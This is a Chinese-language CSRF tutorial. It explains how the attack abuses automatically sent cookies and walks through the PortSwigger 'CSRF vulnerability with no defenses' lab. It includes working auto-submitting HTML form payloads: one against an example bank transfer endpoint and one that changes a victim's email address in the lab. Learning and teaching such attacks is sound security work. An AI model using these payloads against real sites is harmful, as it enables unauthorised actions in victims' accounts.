Learn CSRF
概念与威胁模型
跨站请求伪造(Cross-site Request Forgery, CSRF)
是一种冒充受信任用户,向服务器发送非预期请求的攻击方式。CSRF主要利用浏览器会自动携带cookie的特性。
1.
用户登录网站,例如银行网站;
2.
网站返回cookie用于验证身份;
3.
假设银行转账的请求形式是:
Plain Text
http://www.mybank.com/transfer?to=[SomeAccount]&amount=[SomeAmount]
攻击者如果知道此形式(这是容易的),就可以构造一个恶意站点,这个站点会发送请求:
Plain Text
http://www.mybank.com/transfer?to=attacker&amount=1000
4.
用户访问恶意站点时,触发了这个请求;
5.
由于用户经过登录后存有用于验证身份的cookie,服务器会认为请求是有效的,因而导致了非预期操作的发生。
恶意站点构造可能如下:
HTML
<html>
<body>
<form action="https://www.mybank.com/transfer" method="POST">
<input type="hidden" name="to" value="attacker" />
<input type="hidden" name="amount" value="1000" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
当用户访问这个页面时,POST
请求会被触发;如果用户登录了www.mybank.com
,请求时会自动带上cookie;www.mybank.com
认为这是用户的请求,因而将其作为正常请求处理。
练习
下文给出的PortSwigger靶场中有关CSRF的Lab目标是构造一个恶意站点,更改访问它的用户的邮箱地址。
攻击者可以通过账号wiener:peter
了解网络请求结构。
PortSwigger Lab: CSRF vulnerability with no defenses
攻击者有一个exploit-server
服务器(如下图),其中的/exploit
页面发送给受害用户访问,Lab的目标是编写/exploit
页面,让访问到的用户的邮箱地址被更改。
1.
登录账号wiener:peter
,使用更新邮箱功能,观察网络请求,发现请求的接口是/my-account/change-email
,并携带参数email
:
根据上述发现,构造一个立即提交的表单请求,action
为有漏洞网站的地址:
HTML
<form action="https://0a7f00ed032da08580297635009a00f7.web-security-academy.net/my-account/change-email" method="post">
<input type="hidden" name="email" value="abcd@abcd.com"/>
</form>
<script>
document.forms[0].submit();
</script>
2.
提交通过。
参考资料
本文的插图和例子来源于: